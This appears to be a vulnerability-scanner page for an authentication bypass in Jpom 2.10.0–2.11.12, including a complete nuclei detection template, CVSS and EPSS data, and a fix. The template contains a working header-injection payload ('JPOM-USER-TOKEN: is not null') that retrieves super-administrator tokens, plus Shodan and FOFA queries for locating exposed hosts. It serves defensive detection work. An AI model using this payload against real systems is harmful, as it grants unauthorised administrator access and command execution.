Jpom 2.10.0-2.11.12 - Authentication Bypass

criticalseverity

9.8CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection.

Impact

Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise.

Fix

Update to version later than 2.11.12 or latest available version.

How to confirm it

Send: POST /user/user-basic-info
Positive when: status_code == 200 and contains(content_type, "json") and !contains(body, "md5Token")
Send: POST /user/user-basic-info
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "md5Token", "systemUser", "success")

Run it with nuclei: nuclei -id CVE-2026-120201 -u <target>

The full check

id: CVE-2026-120201

info:
  name: Jpom 2.10.0-2.11.12 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection.
  impact: |
    Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise.
  remediation: |
    Update to version later than 2.11.12 or latest available version.
  reference:
    - https://github.com/dromara/Jpom/issues/121
    - https://nvd.nist.gov/vuln/detail/CVE-2026-120201
    - https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header
    - https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-120201
    epss-score: 0.02139
    epss-percentile: 0.8218
    cwe-id: CWE-943
  metadata:
    verified: true
    max-request: 2
    vendor: dromara
    product: jpom
    shodan-query: http.title:"Jpom"
    fofa-query: title="Jpom"
  tags: cve,cve2026,jpom,dromara,auth-bypass,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /user/user-basic-info HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - '!contains(body, "md5Token")'
        condition: and
        internal: true

  - raw:
      - |
        POST /user/user-basic-info HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        JPOM-USER-TOKEN: is not null

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "md5Token", "systemUser", "success")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from